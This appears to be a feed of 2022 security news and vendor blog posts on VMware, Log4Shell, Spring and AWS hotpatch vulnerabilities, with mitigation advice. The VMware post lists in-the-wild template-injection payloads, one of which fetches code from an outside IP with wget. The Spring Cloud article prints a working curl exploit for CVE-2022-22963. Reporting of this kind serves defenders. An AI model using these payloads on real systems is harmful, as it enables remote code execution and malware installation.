Widespread Exploitation of VMware Workspace ONE Access CVE-2022-22954

 

Description

On April 6, 2022, VMware published VMSA-2022-0011, which detailed multiple security vulnerabilities. The most severe of these is CVE-2022-22954, a critical remote code execution vulnerability affecting VMware’s Workspace ONE Access and Identity Manager solutions. The vulnerability arises from a server-side template injection flaw and has a CVSSv3 base score of 9.8. Successful exploitation allows an unauthenticated attacker with network access to the web interface to execute an arbitrary shell command as the VMware user.

Rapid7’s vulnerability research team has a full analysis of CVE-2022-22954 in AttackerKB, including chaining the vulnerability with CVE-2022-22960 to escalate to root.

Affected products:

• VMware Workspace ONE Access (Access) 20.10.0.0 - 20.10.0.1, 21.08.0.0 - 21.08.0.1
• VMware Identity Manager (vIDM) 3.3.3 - 3.3.6

VMware updated their advisory to note active exploitation in the wild on April 12, 2022; a day later, security news outlet Bleeping Computer indicated that several public proof-of-concept exploits were being used in the wild to drop coin miners on vulnerable systems. More recently, security firm Morphisec published analysis of attacks that exploited CVE-2022-22954 to deploy reverse HTTPS backdoors. Public proof-of-concept exploit code is available and fits in a tweet (credit to researchers wvu and Udhaya Prakash).

Rapid7’s Project Heisenberg detected scanning/exploitation activity on 2022-04-13 and again on 2022-04-22. A total of 14 requests were observed across ports 80, 98, 443, 4443.

Scanning/exploitation strings observed:

• /catalog-portal/ui/oauth/verify
• /catalog-portal/ui/oauth/verify?error=&deviceUdid=${"freemarker.template.utility.Execute"?new()("cat /etc/hosts")}
• /catalog-portal/ui/oauth/verify?error=&deviceUdid=${"freemarker.template.utility.Execute"?new()("wget -U "Hello 1.0" -qO - http://106[.]246[.]224[.]219/one")}

Attacker IP addresses:
103[.]42[.]196[.]67
5[.]157[.]38[.]50
54[.]38[.]103[.]1 (NOTE: according to this French government website, this IP address is benign)
94[.]74[.]123[.]228
96[.]243[.]27[.]61
107[.]174[.]218[.]172
170[.]210[.]45[.]163
173[.]212[.]229[.]216

These nodes appear to be members of generic botnets. Rapid7’s Heisenberg network has observed many of them involved in the same campaigns as noted in the above graphic, as well as Log4Shell exploitation attempts.

Mitigation guidance

VMware customers should patch their Workspace ONE Access and Identity Manager installations immediately, without waiting for a regular patch cycle to occur. VMware has instructions here on patching and applying workarounds. VMware has an FAQ available on this advisory here.

Rapid7 customers

InsightVM and Nexpose customers can assess their exposure to CVE-2022-22954 with an authenticated vulnerability check for Unix-like systems. (Note that VMware Workspace ONE Access is only able to be deployed on Linux from 20.x onward.)

InsightIDR customers have a new detection rule added to their library to identify attacks related to this vulnerability. We recommend that you review your settings for this detection rule and confirm it is turned on and set to an appropriate rule action and priority for your organization:

• Suspicious Process - VMware Workspace ONE Access Launches Process

For our MDR service customers, Rapid7 detection logic is continuously reviewed to ensure detections are based on any observed attacker behavior seen by our Incident Response (IR), Managed Detection and Response (MDR), and Threat Intelligence and Detection Engineering (TIDE) teams. Through continuous collaboration and threat landscape monitoring, we ensure product coverage for the latest techniques being used by malicious actors and will make updates as necessary. The MDR team will notify you if suspicious activity is detected in your environment.

NEVER MISS A BLOG

Read More

U.S. Cybersecurity Agency Lists 2021's Top 15 Most Exploited Software Vulnerabilities

 

Description

Log4Shell, ProxyShell, ProxyLogon, ZeroLogon, and flaws in Zoho ManageEngine AD SelfService Plus, Atlassian Confluence, and VMware vSphere Client emerged as some of the top exploited security vulnerabilities in 2021.

That’s according to a "Top Routinely Exploited Vulnerabilities" report released by cybersecurity authorities from the Five Eyes nations Australia, Canada, New Zealand, the U.K., and the U.S.

Other frequently weaponized flaws included a remote code execution bug in Microsoft Exchange Server (CVE-2020-0688), an arbitrary file read vulnerability in Pulse Secure Pulse Connect Secure (CVE-2019-11510), and a path traversal defect in Fortinet FortiOS and FortiProxy (CVE-2018-13379).

Nine of the top 15 routinely exploited flaws were remote code execution vulnerabilities, followed by two privilege escalation weaknesses, and one each of security feature bypass, arbitrary code execution, arbitrary file read, and path traversal flaws.

“Globally, in 2021, malicious cyber actors targeted internet-facing systems, such as email servers and virtual private network (VPN) servers, with exploits of newly disclosed vulnerabilities,” the agencies said in a joint advisory.

“For most of the top exploited vulnerabilities, researchers or other actors released proof of concept (PoC) code within two weeks of the vulnerability’s disclosure, likely facilitating exploitation by a broader range of malicious actors.”

To mitigate the risk of exploitation of publicly known software vulnerabilities, the agencies are recommending organizations to apply patches in a timely fashion and implement a centralized patch management system.

Read More

Millions of Java Apps Remain Vulnerable to Log4Shell

 

Description

Four months after the discovery of the zero-day Log4Shell critical flaw, millions of Java applications still remain vulnerable to compromise, researchers have found.

Rezilion expected that due to the “massive amount of media coverage” the bug unsurprisingly received, the majority of applications would already be patched, Head of Vulnerability Research Yotam Perkal wrote in a report published Tuesday. However, their analysis found a very different story, he said.

“We learned that the landscape is far from ideal and many applications vulnerable to Log4Shell still exist in the wild,” Perkal wrote in the report.

Supporting Evidence

Researchers did a search on the Shodan search engine to see how many apps vulnerable to Log4Shell are exposed to the internet. They identified 90,000 potential vulnerable internet-facing applications, which they believe “is just the tip of the iceberg in terms of the actual vulnerable attack surface,” Perkal wrote.

Researchers divided the apps into three categories; the first two are containers that in their latest version, still contain obsolete versions of Log4j; and containers that while their latest version is up-to-date yet still show evidence of using previous versions.

The third category are publicly facing servers of the world’s favorite internet game Minecraft, which highlight the risks with outdated proprietary software, researchers noted… Indeed, it Minecraft sites where the vulnerability first turned up and apparently still persists.

Researchers cited other sources for further proof that the Log4Shell attack surface remains vast. One was the Google service Open Source Insights, which scans millions of open-source packages. The service found that out of a total of 17,840 packages affected by the flaw, only 7,140 were patched, making nearly 60 percent still vulnerable.

Moreover many applications are still using Log4J version 1.x and likely aren’t patched because the original Log4Shell vulnerability, tracked as CVE-201-44228, doesn’t apply to this version, researchers noted.

However, this is a misconception as that version has been “in an end-of-life state since August 2015 (which means it does not get any security updates), and contains plenty of other vulnerabilities, including RCE vulnerabilities, Perkal noted.

“This should definitely worry organizations that are still using it,” he wrote.

Under Active Exploitation

Perhaps most worrying about the vulnerable attack surface is that Log4Shell remains a hot target for threat actors, researchers noted. Indeed, attackers immediately set upon the bug once it was discovered—already under active exploitation—and haven’t let up much since.

While Apache released a patch for Log4Shell within a day of discovery, it, too, had issues that could lead to DoS attacks—and apparently still hasn’t been applied in many cases.

Initial attempts to exploit the bug in the wild were aimed at ransomware deployment and coin miners; however, as time when on APT groups joined the fray and began pummeling the flaw in earnest, researchers said.

Most recently, active exploitation of Log4Shell has been linked to the Chinese APT 41 group and Deep Panda, Perkal said. Before that, the Chinese state-sponsored espionage group HAFNIUM and Iranian-backed groups APT35 (aka Newscaster) and Tunnel Vision also targeted the flaw.

Currently there are still dozens of recorded daily exploitation attempts of Log4Shell, according to a honeypot set up by the SANS Internet Storm Center, researchers noted.

Read More

How to Strategically Scale Vendor Management and Supply Chain Security

 

Description

This post is co-authored by Collin Huber

Recent security events — particularly the threat actor activity from the Lapsu$ group, Spring4Shell, and various new supply-chain attacks — have the security community on high alert. Security professionals and network defenders around the world are wondering what we can do to make the organizations we serve less likely to be featured in an article as the most recently compromised company.

In this post, we’ll articulate some simple changes we can all make in the near future to provide more impactful security guidance and controls to decrease risk in our environments.

Maintain good cyber hygiene

Here are some basic steps that organizations can take to ensure their security posture is in good health and risks are at a manageable level.

1. Review privileged user activity for anomalies

Take this opportunity to review logs of privileged user activity. Additionally, review instances of changed passwords, as well as any other unexpected activity. Interview the end user to help determine the authenticity of the change. Take into consideration the types of endpoints used across your network, as well as expected actions or any changes to privileges (e.g. privilege escalation).

2. Enforce use of multifactor authentication

Has multifactor authentication (MFA) deployment stalled at your firm? This is an excellent opportunity to revisit deployment of these initiatives. Use of MFA reduces the potential for compromise in a significant number of instances. There are several options for deployment of MFA. Hardware-based MFA methods, such as FIDO tokens, are typically the strongest, and numerous options offer user-friendly ways to use MFA — for example, from a smartphone. Ensure that employees and third parties are trained not to accept unexpected prompts to approve a connection.

3. Understand vendor risks

Does your acquisition process consider the security posture of the vendor in question? Based on the use case for the vendor and the business need, consider the security controls you require to maintain the integrity of your environment. Additionally, review available security reports to identify security controls to investigate further. If a security incident has occurred, consider the mitigating controls that were missing for that vendor. Depending on the response of that vendor and their ability to implement those security controls, determine if this should influence purchase decisions or contract renewal.

4. Review monitoring and alerts

Review system logs for other critical systems, including those with high volumes of data. Consider reviewing systems that may not store, process, or transmit sensitive data but could have considerable vulnerabilities. Depending on the characteristics of these systems and their mitigating controls, it may be appropriate to prioritize patching, implement additional mitigating controls, and even consider additional alerting.

Always make sure to act as soon as you can. It’s better to enact incident response (IR) plans and de-escalate than not to.

Build a more secure supply chain

Risks are inherent in the software supply chain, but there are some strategies that can help you ensure your vendors are as secure as possible. Here are three key concepts to consider implementing.

1. Enumerate edge connection points between internal and vendor environments

Every organization has ingress and egress points with various external applications and service providers. When new services or vendors are procured, access control lists (ACLs) are updated to accommodate the new data streams — which presents an opportunity to record simple commands for shutting those streams down in the event of a vendor compromise.

Early stages of an incident are often daunting, frustrating, and confusing for all parties involved. Empowering information security (IS) and information technology (IT) teams to have these commands ahead of time decreases the guesswork that needs to be done to create them when an event occurs. This frees up resources to perform other critical elements of your IR plan as appropriate.

One of the most critical elements of incident response is containment. Many vendors will immediately disable external connections when an attack is discovered, but relying on an external party to act in the best interest of your organization is a challenging position for any security professional. If your organization has a list of external connections open to the impacted vendor, creating templates or files to easily cut and paste commands to cut off the connection is an easy step in the planning phase of incident response. These commands can be approved for dispatch by senior leadership and immediately put in place to ensure whatever nefarious behavior occurring on the vendor’s network cannot pass into your environment.

An additional benefit of enumerating and memorializing these commands enables teams to practice them or review them during annual updates of the IRP or tabletop exercises. If your organization does not have this information prepared right now, you have a great opportunity to collaborate with your IS and IT teams to improve your preparedness for a vendor compromise.

Vendor compromises can result in service outages which may have an operational impact on your organization. When your organization is considering ways to mitigate potential risks associated with outages and other supply chain issues, review your business continuity plan to ensure it has the appropriate coverage and provides right-sized guidance for resiliency. It may not make business sense to have alternatives for every system or process, so memorialize accepted risks in a Plan of Action and Milestones (POAM) and/or your Risk Register to record your rationale and demonstrate due diligence.

2. Maintain a vendor inventory with key POCs and SLAs

Having a centralized repository of vendors with key points of contact (POCs) for the account and service-level agreements (SLAs) relevant to the business relationship is an invaluable asset in the event of a breach or attack. The repository enables rapid communication with the appropriate parties at the vendor to open and maintain a clear line of communication, so you can share updates and get critical questions answered in a timely fashion. Having SLAs related to system downtime and system support is also instrumental to ensure the vendor is furnishing the agreed-upon services as promised.

3. Prepare templates to communicate to customers and other appropriate parties

Finally, set up templates for communications about what your team is doing to protect the environment and answer any high-level questions in the event of a security incident. For these documents, it is best to work with legal departments and senior leadership to ensure the amount of information provided and the manner in which it is disclosed is appropriate.

• Internal communication:Have a formatted memo to easily address some key elements of what is occurring to keep staff apprised of the situation. You may want to include remarks indicating an investigation is underway, your internal environment is being monitored, relevant impacts staff may see, who to contact if external parties have questions, and reiterate how to report unusual device behavior to your HelpDesk or security team.
• External communication: Communication for the press regarding the investigation or severity of the breach as appropriate.
• Regulatory notices:Work with legal teams to templatize regulatory notifications to ensure the right data is easily provided by technical teams to be shared in an easy-to-update format.

Complex software supply chains introduce a wide range of vulnerabilities into our environments – but with these strategic steps in place, you can limit the impacts of security incidents and keep risk to a minimum in your third-party vendor relationships.

Additional reading:

• 4 Fallacies That Keep SMBs Vulnerable to Ransomware, Pt. 1
• The VM Lifecycle: How We Got Here, and Where We’re Going
• An Inside Look at CISA’s Supply Chain Task Force
• Log4Shell 2 Months Later: Security Strategies for the Internet’s New Normal

NEVER MISS A BLOG

Read More

Amazon's Hotpatch for Log4j Flaw Found Vulnerable to Privilege Escalation Bug

 

Description

The “hotpatch” released by Amazon Web Services (AWS) in response to the Log4Shell vulnerabilities could be leveraged for container escape and privilege escalation, allowing an attacker to seize control of the underlying host.

“Aside from containers, unprivileged processes can also exploit the patch to escalate privileges and gain root code execution,” Palo Alto Networks Unit 42 researcher Yuval Avrahami said in a report published this week.

The issues — CVE-2021-3100, CVE-2021-3101, CVE-2022-0070, and CVE-2022-0071 (CVSS scores: 8.8) — affect the hotfix solutions shipped by AWS, and stem from the fact that they are designed to search for Java processes and patch them against the Log4j flaw on the fly but without ensuring that the new Java processes are run within the restrictions imposed on the container.

“Any process running a binary named ‘java’ – inside or outside of a container – is considered a candidate for the hot patch,” Avrahami elaborated. “A malicious container therefore could have included a malicious binary named ‘java’ to trick the installed hot patch solution into invoking it with elevated privileges.”

In the subsequent step, the elevated privileges could be weaponized by the malicious ‘java’ process to escape the container and gain full control over the compromised server.

A rogue unprivileged process, in a similar manner, could have created and executed a malicious binary named “java” to trick the hotpatch service into running it with elevated privileges.

Users are recommended to upgrade to the fixed hotpatch version as soon as possible to prevent potential exploitation, but only after prioritizing patching against the actively exploited Log4Shell flaws.

“Containers are often used as a security boundary between applications running on the same machine,” Avrahami said. “A container escape allows an attacker to extend a campaign beyond a single application and compromise neighboring services.”

Read More

Securing Your Applications Against Spring4Shell (CVE-2022-22965)

 

Description

The warm weather is starting to roll in, the birds are chirping, and Spring… well, Spring4Shell is making a timely entrance. If you’re still recovering from Log4Shell, we’re here to tell you you’re not alone. While discovery and research of CVE-2022-22965 is evolving, Rapid7 is committed to providing our customers updates and guidance. In this blog, we wanted to share some recent product enhancements across our application security portfolio to help our customers with easy ways to test and secure their apps against Spring4Shell.

What is Spring4Shell?

Before we jump into how we can help you with our products, let’s give a quick overview of Spring4Shell. CVE-2022-22965 affects Spring MVC and Spring WebFlux applications running JDK versions 9 and later. A new feature was introduced in JDK version 9 that allows access to the ClassLoader from a Class. This vulnerability can be exploited for remote code execution (RCE). If you’re looking for more detailed information on Spring4Shell, check out our overview blog here.

_Updated: _RCE Attack Module for Spring4Shell

Customers leveraging InsightAppSec, our dynamic application security testing (DAST) tool, can regularly assess the risk of their applications. InsightAppSec allows you to configure 100+ types of web attacks to simulate real-world exploitation attempts. While it may be April 1st, we’re not foolin’ around when it comes to our excitement in sharing this update to our RCE Attack Module that we’ve included in the default All Modules Attack Template – specifically testing for Spring4Shell.

Cloud customers who already have the All Modules Attack Template enabled will automatically benefit from this new RCE attack as part of their regular scan cadence. As of April 4th, customers with on-prem scan engines can also benefit from this updated RCE attack module. For those customers with on-premises engines, make sure to have auto-upgrades turned on to automatically benefit from this updated Attack Module, or update manually to the latest scan engine.

NEW: Block against Spring4Shell attacks

In addition to assessing your applications for attacks with InsightAppSec, we’ve also got you covered when it comes to protecting your in-production applications. With tCell, customers can both detect and block anomalous activity, such as Spring4Shell exploit attempts. Check out the GIF below on how to enable the recently added Spring RCE block rule in tCell.

NEW: Identify vulnerable packages (such as CVE-2022-22965)

A key component of Spring4Shell is detecting whether or not you have any vulnerable packages. tCell customers leveraging the Java agent can determine if they have any vulnerable packages, including CVE-2022-22965, in their runtime environment.

Simply navigate to tCell on the Insight Platform, select your application, and navigate to the Packages and Vulns tab. Here you can view any vulnerable packages that were detected at runtime, and follow the specified remediation guidance.

Currently, the recommended mitigation guidance is for Spring Framework users to update to the fixed versions. Further information on the vulnerability and ongoing guidance are being provided in Spring’s blog here.

Utilize OS commands

One of the benefits of using tCell’s app server agents is the fact that you can enable blocking (after confirming you’re not blocking any legitimate commands) for OS commands. This will prevent a wide range of exploits including Shell commands. Below you will see an example of our OS Commands dashboard highlighting the execution attempts, and in the second graphic, you’ll see the successfully blocked OS command events.

What’s next?

We recommend following Spring’s latest guidance on remediation to reduce risk in your applications. If you’re looking for more information at any time, we will continue to update both this blog, and our initial response blog to Spring4Shell. Additionally, you can always reach out to your customer success manager, support resources, or anyone on your Rapid7 account team. Happy April – and here’s to hoping the only shells you deal with in the future are those found on the beach!

NEVER MISS A BLOG

Read More

RCE Bug in Spring Cloud Could Be the Next Log4Shell, Researchers Warn

 

Description

NOTE: This post is about the confirmed and patched vulnerability tracked as CVE-2022-22963. While the researchers at Sysdig refer to this Spring Cloud bug as “Spring4Shell,” it should be noted that there is some confusion as to what to call it, with another security firm referring to a different, unconfirmed bug in Spring Core as “Spring4Shell.” To avoid confusion, this post has been amended to take out references to Spring4Shell altogether.

A concerning security vulnerability has bloomed in the Spring Cloud Function, which could lead to remote code execution (RCE) and the compromise of an entire internet-connected host.

Some researchers have noted that because of its ease of exploit and Java-based nature, it’s reminiscent of the Log4Shell vulnerability discovered in December.

“[This] is another in a series of major Java vulnerabilities,” Stefano Chierici, a security researcher at Sysdig, noted in materials shared with Threatpost. “It has a very low bar for exploitation so we should expect to see attackers heavily scanning the internet. Once found, they will likely install cryptominers, [distributed denial-of-service] DDoS agents, or their remote-access toolkits.”

The bug (CVE-2022-22963) affects versions 3.1.6 and 3.2.2, as well as older, unsupported versions, according to a Tuesday advisory from VMware. Users should update to 3.1.7 and 3.2.3 in order to implement a patch.

Why Such a Low CVSS Score?

While it carries a medium-severity score of 5.4 on the CVSS scale, researchers warned not to underestimate the bug’s impact.

“VMware is using the CVSSv3 base metric ‘CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L.’ This is underrepresenting the confidentiality, integrity and availability impacts of this vulnerability,” Sysdig researchers Nick Lang and Jason Avery told Threatpost. “This vulnerability allows an attacker to open a reverse shell in the context of the Spring Cloud service, which may be as root. The impacts are all high and do not require user interaction, which gives this CVE a critical rating.”

They added, “In our testing, we verified that user interaction is not required to leverage the CVE-2022-22963 vulnerability to gain unauthorized access.”

Satnam Narang, staff research engineer, Tenable, agrees with the assessment that the CVSS score may not be reflective of the true impact of the issue.

“Because the vulnerability is considered a remote code execution flaw that can be exploited by an unauthenticated attacker, it appears that the CVSSv3 score might not reflect the actual impact of this flaw,” he said via email.

Paul Ducklin, principle research scientist at Sophos, noted that it alarmingly allows for “instant RCE.”

“My recommendation is simple, and doesn’t need a score: Patch against CVE-2022-22693 because it’s attracting lots of interest, and proof-of-concept code is readily available, so why be behind when you could so easily be ahead?” he told Threatpost.

Widescale Consequences Set to Sprout

Spring Cloud is an open-source microservices framework: A collection of ready-to-use components which are useful in building distributed applications in an enterprise. It’s widely used across industries by various companies and includes ready-made integration with components from various app providers, including Kubernetes and Netflix.

As such, its footprint is concerning, according to Sysdig.

“Spring is…used by millions of developers using Spring Framework to create high-performing, easily testable code,” Chierici said. “The Spring Cloud Function framework allows developers to write cloud-agnostic functions using Spring features. These functions can be stand-alone classes and one can easily deploy them on any cloud platform to build a serverless framework.”

He added, “Since Spring Cloud Function can be used in Cloud serverless functions like AWS lambda or Google Cloud Functions, those functions might be impacted as well…leading the attackers inside your cloud account.”

The CVE-2022-22963 Bug in Bloom

According to Sysdig, the vulnerability can be exploited over HTTP: Just like Log4Shell, it only requires an attacker to send a malicious string to a Java app’s HTTP service.

“Using routing functionality, it is possible for a user to provide a specially crafted Spring Expression Language (SpEL) as a routing-expression to access local resources and execute commands in the host,” Chierici explained. “The issue with CVE-2022-22963 is that it permits using HTTP request header spring.cloud.function.routing-expression parameter and SpEL expression to be injected and executed through StandardEvaluationContext.”

As such, unfortunately, an exploit is “quite easy to accomplish” using a simple curl command he noted:

curl -i -s -k -X $’POST’ -H $’Host: 192.168.1.2:8080′ -H $’spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec(\”touch /tmp/test”)’ –data-binary $’exploit_poc’ $’http://192.168.1.2:8080/functionRouter’

<CURL>

Sysdig published a PoC exploit on its GitHub page, and as noted, others are circulating.

“The PoCs we’ve seen so far have all simply popped up a calculator app, that being more than enough to prove the point, but it looks as though any command already installed on the server could easily be launched,” noted Ducklin, who refers to the bug as the “Spring Expression Resource Access Vulnerability” or “SPEL Vulnerability.”

He added, “This includes remotely triggering web downloader programs such as curl, launching command shells such as bash, or indeed doing both of those in sequence as a way of quietly and quickly implanting malware.”

Weeding Out Compromises

After applying the patch, anyone using applications built using Spring Cloud should take a careful inventory of their installations to make sure compromise hasn’t already occurred, according to Sysdig.

“Even though you might have already upgraded your library or applied one of the other mitigations on containers affected by the vulnerability, you need to detect any exploitation attempts and post-breach activities in your environment,” Chierici said.

That detection can be done via image scanners or a runtime detection engine to suss out malicious behaviors in already-deployed hosts or pods, he noted.

“The best defense for this type of vulnerability is to patch as soon as possible,” according to Sysdig’s writeup. “Having a clear understanding of the packages being used in your environment is a must in today’s world.”

Moving to the cloud? Discover emerging cloud-security threats along with solid advice for how to defend your assets with ourFREE downloadable eBook, “Cloud Security: The Forecast for 2022.” We explore organizations’ top risks and challenges, best practices for defense, and advice for security success in such a dynamic computing environment, including handy checklists.

Read More